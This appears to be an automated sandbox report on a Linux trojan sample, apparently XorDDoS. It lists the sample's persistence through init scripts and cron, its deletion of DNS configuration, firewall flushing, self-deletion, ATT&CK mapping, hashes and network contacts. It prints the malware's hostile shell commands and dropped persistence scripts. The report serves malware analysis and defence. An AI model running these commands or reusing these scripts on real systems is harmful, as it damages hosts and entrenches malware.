Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc.d/rc4.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc.d/rc5.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 6233)	File: /etc/rc1.d/S01.chinaz{1666327072 -> ../init.d/.chinaz{1666327072	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 6233)	File: /etc/rc2.d/S01.chinaz{1666327072 -> ../init.d/.chinaz{1666327072	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 6233)	File: /etc/rc3.d/S01.chinaz{1666327072 -> ../init.d/.chinaz{1666327072	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 6233)	File: /etc/rc4.d/S01.chinaz{1666327072 -> ../init.d/.chinaz{1666327072	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 6233)	File: /etc/rc5.d/S01.chinaz{1666327072 -> ../init.d/.chinaz{1666327072	Jump to behavior

Sample tries to persist itself using cron

Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/cron.hourly/cron.sh			Jump to behavior
Source: /usr/bin/sed (PID: 6235)	File: /etc/crontab			Jump to behavior

Executes the "iptables" command to insert, remove and/or manipulate rules

Source: /bin/sh (PID: 6257)

Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -A OUTPUT -p tcp --dport 0 -j DROP

Jump to behavior

Source: /tmp/Linux4.7.elf (PID: 6225)

File written: /tmp/.chinaz{1666327072

Jump to dropped file

Source: /tmp/Linux4.7.elf (PID: 6225)

Shell script file created: /etc/cron.hourly/cron.sh

Jump to dropped file

Source: /tmp/Linux4.7.elf (PID: 6225)

Reads from proc file: /proc/meminfo

Jump to behavior

Source: /usr/sbin/update-rc.d (PID: 6236)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 6244)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior

Source: /bin/sh (PID: 6245)	Iptables executable: /usr/sbin/iptables -> iptables --flush			Jump to behavior
Source: /bin/sh (PID: 6257)	Iptables executable: /usr/sbin/iptables -> iptables -A OUTPUT -p tcp --dport 0 -j DROP			Jump to behavior

Source: /tmp/Linux4.7.elf (PID: 6234)	Shell command executed: sh -c "sed -i '/\\/etc\\/cron.hourly\\/cron.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/cron.sh' >> /etc/crontab"	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6237)	Shell command executed: sh -c "rm -rf /etc/resolv.conf"	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6241)	Shell command executed: sh -c whoami	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6242)	Shell command executed: sh -c "iptables --flush"	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6243)	Shell command executed: sh -c whoami	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6252)	Shell command executed: sh -c "touch /home/root/ConfigDatecz"	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6253)	Shell command executed: sh -c "iptables -A OUTPUT -p tcp --dport 0 -j DROP"	Jump to behavior

Source: /bin/sh (PID: 6238)

Rm executable: /usr/bin/rm -> rm -rf /etc/resolv.conf

Jump to behavior

Source: /bin/sh (PID: 6254)

Touch executable: /usr/bin/touch -> touch /home/root/ConfigDatecz

Jump to behavior

Source: /tmp/Linux4.7.elf (PID: 6225)

Writes shell script file to disk with an unusual file extension: /etc/init.d/.chinaz{1666327072

Jump to dropped file

Source: /bin/sh (PID: 6235)

Sed executable: /usr/bin/sed -> sed -i /\\/etc\\/cron.hourly\\/cron.sh/d /etc/crontab

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/Linux4.7.elf (PID: 6225)

File: /etc/init.d/.chinaz{1666327072

Jump to dropped file

Sample deletes itself

Source: /tmp/Linux4.7.elf (PID: 6225)

File: /tmp/Linux4.7.elf

Jump to behavior

Drops invisible ELF files

Source: /tmp/Linux4.7.elf (PID: 6225)

ELF file: /tmp/.chinaz{1666327072

Jump to dropped file

Source: /tmp/Linux4.7.elf (PID: 6225)

Reads CPU info from /sys: /sys/devices/system/cpu/online

Jump to behavior

Source: /tmp/Linux4.7.elf (PID: 6223)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	Queries kernel information via 'uname':			Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	1 Systemd Service	1 Systemd Service	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Scripting	2 At (Linux)	2 At (Linux)	2 Scripting	LSASS Memory	1 System Network Configuration Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	2 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Indicator Removal on Host	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 File Deletion	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Linux4.7.elf	61%	Virustotal		Browse
Linux4.7.elf	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
/etc/init.d/.chinaz{1666327072	100%	Joe Sandbox ML
/etc/cron.hourly/cron.sh	12%	ReversingLabs	Linux.Trojan.Xor
/etc/cron.hourly/cron.sh	4%	Virustotal		Browse
/etc/cron.hourly/cron.sh	11%	Metadefender		Browse
/tmp/.chinaz{1666327072	61%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.gnu.org/software/libc/bugs.html	Linux4.7.elf, .chinaz{1666327072.12.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
109.202.202.202	x86	Get hash	malicious	Browse
	b.pl	Get hash	malicious	Browse
	LYlRe7xCgz.elf	Get hash	malicious	Browse
	vdBv52v29c.elf	Get hash	malicious	Browse
	lz47Kwn9w4.elf	Get hash	malicious	Browse
	untODBSHdU.elf	Get hash	malicious	Browse
	2D6T4RxWsP.elf	Get hash	malicious	Browse
	q3fxVh4lKD.elf	Get hash	malicious	Browse
	yrIynaCPxX.elf	Get hash	malicious	Browse
	6BwKfmVfnJ.elf	Get hash	malicious	Browse
	jSiutdCWH6.elf	Get hash	malicious	Browse
	4ISX4nRn8l.elf	Get hash	malicious	Browse
	7doYNAVZXK.elf	Get hash	malicious	Browse
	zyj24000	Get hash	malicious	Browse
	SecuriteInfo.com.ELF.Agent-BJI.15629.13420.elf	Get hash	malicious	Browse
	linuxx86tf	Get hash	malicious	Browse
	luyou	Get hash	malicious	Browse
	hPuwJZOl6z.elf	Get hash	malicious	Browse
	EOeZ6IAUXW.elf	Get hash	malicious	Browse
	9YTloFjr5K.elf	Get hash	malicious	Browse
91.189.91.43	x86	Get hash	malicious	Browse
	b.pl	Get hash	malicious	Browse
	LYlRe7xCgz.elf	Get hash	malicious	Browse
	vdBv52v29c.elf	Get hash	malicious	Browse
	lz47Kwn9w4.elf	Get hash	malicious	Browse
	untODBSHdU.elf	Get hash	malicious	Browse
	2D6T4RxWsP.elf	Get hash	malicious	Browse
	q3fxVh4lKD.elf	Get hash	malicious	Browse
	yrIynaCPxX.elf	Get hash	malicious	Browse
	6BwKfmVfnJ.elf	Get hash	malicious	Browse
	jSiutdCWH6.elf	Get hash	malicious	Browse
	4ISX4nRn8l.elf	Get hash	malicious	Browse
	7doYNAVZXK.elf	Get hash	malicious	Browse
	zyj24000	Get hash	malicious	Browse
	SecuriteInfo.com.ELF.Agent-BJI.15629.13420.elf	Get hash	malicious	Browse
	linuxx86tf	Get hash	malicious	Browse
	luyou	Get hash	malicious	Browse
	hPuwJZOl6z.elf	Get hash	malicious	Browse
	EOeZ6IAUXW.elf	Get hash	malicious	Browse
	9YTloFjr5K.elf	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CANONICAL-ASGB	x86	Get hash	malicious	Browse	91.189.91.42
	b.pl	Get hash	malicious	Browse	91.189.91.42
	LYlRe7xCgz.elf	Get hash	malicious	Browse	91.189.91.42
	vdBv52v29c.elf	Get hash	malicious	Browse	91.189.91.42
	lz47Kwn9w4.elf	Get hash	malicious	Browse	91.189.91.42
	untODBSHdU.elf	Get hash	malicious	Browse	91.189.91.42
	2D6T4RxWsP.elf	Get hash	malicious	Browse	91.189.91.42
	q3fxVh4lKD.elf	Get hash	malicious	Browse	91.189.91.42
	yrIynaCPxX.elf	Get hash	malicious	Browse	91.189.91.42
	6BwKfmVfnJ.elf	Get hash	malicious	Browse	91.189.91.42
	jSiutdCWH6.elf	Get hash	malicious	Browse	91.189.91.42
	4ISX4nRn8l.elf	Get hash	malicious	Browse	91.189.91.42
	7doYNAVZXK.elf	Get hash	malicious	Browse	91.189.91.42
	zyj24000	Get hash	malicious	Browse	91.189.91.42
	SecuriteInfo.com.ELF.Agent-BJI.15629.13420.elf	Get hash	malicious	Browse	91.189.91.42
	linuxx86tf	Get hash	malicious	Browse	91.189.91.42
	luyou	Get hash	malicious	Browse	91.189.91.42
	hPuwJZOl6z.elf	Get hash	malicious	Browse	91.189.91.42
	EOeZ6IAUXW.elf	Get hash	malicious	Browse	91.189.91.42
	9YTloFjr5K.elf	Get hash	malicious	Browse	91.189.91.42
INIT7CH	x86	Get hash	malicious	Browse	109.202.202.202
	b.pl	Get hash	malicious	Browse	109.202.202.202
	LYlRe7xCgz.elf	Get hash	malicious	Browse	109.202.202.202
	vdBv52v29c.elf	Get hash	malicious	Browse	109.202.202.202
	lz47Kwn9w4.elf	Get hash	malicious	Browse	109.202.202.202
	untODBSHdU.elf	Get hash	malicious	Browse	109.202.202.202
	2D6T4RxWsP.elf	Get hash	malicious	Browse	109.202.202.202
	q3fxVh4lKD.elf	Get hash	malicious	Browse	109.202.202.202
	yrIynaCPxX.elf	Get hash	malicious	Browse	109.202.202.202
	6BwKfmVfnJ.elf	Get hash	malicious	Browse	109.202.202.202
	jSiutdCWH6.elf	Get hash	malicious	Browse	109.202.202.202
	4ISX4nRn8l.elf	Get hash	malicious	Browse	109.202.202.202
	7doYNAVZXK.elf	Get hash	malicious	Browse	109.202.202.202
	zyj24000	Get hash	malicious	Browse	109.202.202.202
	SecuriteInfo.com.ELF.Agent-BJI.15629.13420.elf	Get hash	malicious	Browse	109.202.202.202
	linuxx86tf	Get hash	malicious	Browse	109.202.202.202
	luyou	Get hash	malicious	Browse	109.202.202.202
	hPuwJZOl6z.elf	Get hash	malicious	Browse	109.202.202.202
	EOeZ6IAUXW.elf	Get hash	malicious	Browse	109.202.202.202
	9YTloFjr5K.elf	Get hash	malicious	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
/etc/cron.hourly/cron.sh	test	Get hash	malicious	Browse
	chinaz	Get hash	malicious	Browse
	HuuyISbqrL	Get hash	malicious	Browse
	BK86XsOVqX	Get hash	malicious	Browse

Created / dropped Files

/etc/cron.hourly/cron.sh

Download File

Process:	/tmp/Linux4.7.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.756432444291805
Encrypted:	false
SSDEEP:	6:htiy4Mrm9lVNy28XbCVP270gJdUiynrgns:RjwVNfGbWPirSR
MD5:	B791B087B1795E3674A9AA765C76FC04
SHA1:	B53F478234AE97F3CDBF2E7FE7EC68D687FEB7C1
SHA-256:	1C1E9B69CF8021BF7CE1F60DCAA2D31C1E21ED4B6E474F3571DA81FFD5A9B69E
SHA-512:	2DCC2E478C51CF8118306FD5C744AAD7147E368CBC4329DB1CC5FAC52088A7F3354079AE2B582B270495789E4FB4591538EC88BB5EA40EEC646F360BAC33BBB2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12% Antivirus: Virustotal, Detection: 4%, Browse Antivirus: Metadefender, Detection: 11%, Browse
Joe Sandbox View:	Filename: test, Detection: malicious, Browse Filename: chinaz, Detection: malicious, Browse Filename: HuuyISbqrL, Detection: malicious, Browse Filename: BK86XsOVqX, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh.PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin.for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done.cp /lib/udev/udev /lib/udev/debug./lib/udev/debug.

/etc/init.d/.chinaz{1666327072

Download File

Process:	/tmp/Linux4.7.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.356178646000383
Encrypted:	false
SSDEEP:	6:hUtoFdU9uMw285dnsKheJjU589pBE21YJvmNeMwh2L585v1DzRIju8U6MzEu8w4:6tw2PjcsBEMO12L5ezuju9zEui
MD5:	182066F30749E25A9AD34AF9619CF966
SHA1:	2236D3790D5C3CAEF9F32D2270A71D8C71BFC4EF
SHA-256:	5CDF68C5CD346BCBFF1C3E1FADDB2767E7C17889FB885FD7E1B72C92B34E3469
SHA-512:	0B65093500B4592272FBD485650773A12FCE509CDF9DA1B4249BBFDC68FE49E5D7FFFB1618B46631291C8B02970D6C9518EEF68F377671BDE75B78BD84C39F66
Malicious:	true
Yara Hits:	Rule: CN_disclosed_20180208_lsls, Description: Detects malware from disclosed CN malware set, Source: /etc/init.d/.chinaz{1666327072, Author: Florian Roth Rule: Linux_Trojan_Xorddos_a6572d63, Description: unknown, Source: /etc/init.d/.chinaz{1666327072, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	#!/bin/sh.# chkconfig: 12345 90 90.# description: .chinaz{1666327072.### BEGIN INIT INFO.# Provides:...chinaz{1666327072.# Required-Start:..# Required-Stop:..# Default-Start:.1 2 3 4 5.# Default-Stop:...# Short-Description:..chinaz{1666327072.### END INIT INFO.case $1 in.start)../tmp/.chinaz{1666327072..;;.stop)..;;.*)../tmp/.chinaz{1666327072..;;.esac.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/.chinaz{1666327072

Download File

Process:	/tmp/Linux4.7.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.18, BuildID[sha1]=307edfa923d9ff7e3793ec8771ab90f5343cb21e, stripped
Category:	dropped
Size (bytes):	1315556
Entropy (8bit):	6.3900723016536505
Encrypted:	false
SSDEEP:	24576:8kUpotcUSzgtPLdOEG0V0JRzFB3ywyUZ1N2AhNdhBjh+hnPlVVW0Mk7t69Kx/ti8:MoKXwZOK0TFBCwy8P2AhNdhBjh+hnPlP
MD5:	B6A59DA20064367D4A954123C69345DC
SHA1:	2C8B614069440F2476415DD54E4B985C72BE3EEF
SHA-256:	09BC639A0192CB829D74D3E64C0333BE46AA72F780A7A17EF2ADC072D7ED80B3
SHA-512:	A1E2FA982D2802454CBAE652AAEC950859DE2DDA230C469EBAD2252709D47EFF924FD04EE9200D180DF4313FD9E01EDD31BE32C8542997CA2FDE5597F3CBDAB7
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 61%, Browse
Reputation:	low
Preview:	.ELF........................4...........4. ...(.................................................................................D...D.............................L...........Q.td........................................GNU.............................GNU.0~.#..~7..q...4<..p......t......x......\|........................*...U..S........[........\|.....t..~........D<..X[...%p...h..........%t...h..........%x...h..........%\|...h..........%....h..........%....h..........%....h.........1.^....PTRh....h0...QVh......;.................U..S.d$.=`....uS......d...............9.s...t&.....d...........d...9.r.......t...$.....1....`.....d$.[]..t&.U.......d$......Z........t .T$..D$......D$.h.....$.....4..........t........t...$..............U..WVS....u..}...E...............1..E......E....)E.)E..7..&.......O..N.]............).k..)..a.....\.......t>.C.<.v.C.<.w:...O..N.]...........).k..)..A.....\.......u...[^_].f..................'....U1..1.V.u.S.]......t.f.................

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.18, BuildID[sha1]=307edfa923d9ff7e3793ec8771ab90f5343cb21e, stripped
Entropy (8bit):	6.3900723016536505
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	Linux4.7.elf
File size:	1315556
MD5:	b6a59da20064367d4a954123c69345dc
SHA1:	2c8b614069440f2476415dd54e4b985c72be3eef
SHA256:	09bc639a0192cb829d74d3e64c0333be46aa72f780a7a17ef2adc072d7ed80b3
SHA512:	a1e2fa982d2802454cbae652aaec950859de2dda230c469ebad2252709d47eff924fd04ee9200d180df4313fd9e01edd31be32c8542997ca2fde5597f3cbdab7
SSDEEP:	24576:8kUpotcUSzgtPLdOEG0V0JRzFB3ywyUZ1N2AhNdhBjh+hnPlVVW0Mk7t69Kx/ti8:MoKXwZOK0TFBCwy8P2AhNdhBjh+hnPlP
TLSH:	8F556D1DF64344B5C837D17002CFEB7F8D24AA398017CA97AD8DDD39BCAB9A1690D612
File Content Preview:	.ELF........................4...........4. ...(.....................................................................................D...D...............................L...........Q.td........................................GNU............................

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.note.ABI-tag	NOTE	0x80480d4	0xd4	0x20	0x0	0x2	A	0	4
.note.gnu.build-id	NOTE	0x80480f4	0xf4	0x24	0x0	0x2	A	0	4
.rel.plt	REL	0x8048118	0x118	0x38	0x8	0x2	A	5	4
.init	PROGBITS	0x8048150	0x150	0x30	0x0	0x6	AX	0	4
.plt	PROGBITS	0x8048180	0x180	0x70	0x0	0x6	AX	0	4
.text	PROGBITS	0x80481f0	0x1f0	0xf3bfc	0x0	0x6	AX	0	16
__libc_freeres_fn	PROGBITS	0x813bdf0	0xf3df0	0x1838	0x0	0x6	AX	0	16
__libc_thread_freeres_fn	PROGBITS	0x813d630	0xf5630	0x1fa	0x0	0x6	AX	0	16
.fini	PROGBITS	0x813d82c	0xf582c	0x1c	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x813d860	0xf5860	0x1d5e4	0x0	0x2	A	0	32
__libc_subfreeres	PROGBITS	0x815ae44	0x112e44	0x34	0x0	0x2	A	0	4
__libc_atexit	PROGBITS	0x815ae78	0x112e78	0x4	0x0	0x2	A	0	4
__libc_thread_subfreeres	PROGBITS	0x815ae7c	0x112e7c	0x8	0x0	0x2	A	0	4
.stapsdt.base	PROGBITS	0x815ae84	0x112e84	0x1	0x0	0x2	A	0	1
.eh_frame	PROGBITS	0x815ae88	0x112e88	0x2843c	0x0	0x2	A	0	4
.gcc_except_table	PROGBITS	0x81832c4	0x13b2c4	0x4010	0x0	0x2	A	0	4
.tdata	PROGBITS	0x81882d4	0x13f2d4	0x14	0x0	0x403	WAT	0	4
.tbss	NOBITS	0x81882e8	0x13f2e8	0x38	0x0	0x403	WAT	0	4
.ctors	PROGBITS	0x81882e8	0x13f2e8	0x28	0x0	0x3	WA	0	4
.dtors	PROGBITS	0x8188310	0x13f310	0xc	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x818831c	0x13f31c	0x4	0x0	0x3	WA	0	4
.data.rel.ro	PROGBITS	0x8188320	0x13f320	0xca0	0x0	0x3	WA	0	32
.got	PROGBITS	0x8188fc0	0x13ffc0	0xa4	0x4	0x3	WA	0	4
.got.plt	PROGBITS	0x8189064	0x140064	0x28	0x4	0x3	WA	0	4
.data	PROGBITS	0x81890a0	0x1400a0	0x9b4	0x0	0x3	WA	0	32
.bss	NOBITS	0x8189a60	0x140a54	0xbb1c	0x0	0x3	WA	0	32
__libc_freeres_ptrs	NOBITS	0x819557c	0x140a54	0x18	0x0	0x3	WA	0	4
.note.stapsdt	NOTE	0x0	0x140a54	0x23c	0x0	0x0		0	4
.comment	PROGBITS	0x0	0x140c90	0x2d	0x1	0x30	MS	0	1
.shstrtab	STRTAB	0x0	0x140cbd	0x14e	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x13f2d4	0x13f2d4	6.3959	0x5	R E	0x1000	.note.ABI-tag .note.gnu.build-id .rel.plt .init .plt .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .stapsdt.base .eh_frame .gcc_except_table
LOAD	0x13f2d4	0x81882d4	0x81882d4	0x1780	0xd2c0	4.1352	0x6	RW	0x1000	.tdata .tbss .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
NOTE	0xd4	0x80480d4	0x80480d4	0x44	0x44	3.4924	0x4	R	0x4	.note.ABI-tag .note.gnu.build-id
TLS	0x13f2d4	0x81882d4	0x81882d4	0x14	0x4c	2.7037	0x4	R	0x4	.tdata .tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2022 04:37:54.049407005 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 21, 2022 04:37:54.818620920 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 21, 2022 04:38:09.408828020 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 21, 2022 04:38:19.648184061 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 21, 2022 04:38:25.792058945 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 21, 2022 04:38:50.366693020 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 21, 2022 04:39:10.845504045 CEST	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: Linux4.7.elf PID: 6223, Parent PID: 6122

General

Start time:	04:37:52
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	/tmp/Linux4.7.elf
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6224, Parent PID: 6223

General

Start time:	04:37:52
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6225, Parent PID: 6224

General

Start time:	04:37:52
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6226, Parent PID: 6225

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6227, Parent PID: 6226

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6228, Parent PID: 6225

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6229, Parent PID: 6228

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: update-rc.d PID: 6229, Parent PID: 1860

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/usr/sbin/update-rc.d
Arguments:	update-rc.d Linux4.7.elf remove
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: update-rc.d PID: 6236, Parent PID: 6229

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/usr/sbin/update-rc.d
Arguments:	n/a
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: systemctl PID: 6236, Parent PID: 6229

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6230, Parent PID: 6225

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6231, Parent PID: 6230

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6232, Parent PID: 6225

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6233, Parent PID: 6232

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: update-rc.d PID: 6233, Parent PID: 1860

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/usr/sbin/update-rc.d
Arguments:	update-rc.d .chinaz{1666327072 defaults
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: update-rc.d PID: 6244, Parent PID: 6233

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/sbin/update-rc.d
Arguments:	n/a
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: systemctl PID: 6244, Parent PID: 6233

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6234, Parent PID: 6225

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6234, Parent PID: 6225

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/bin/sh
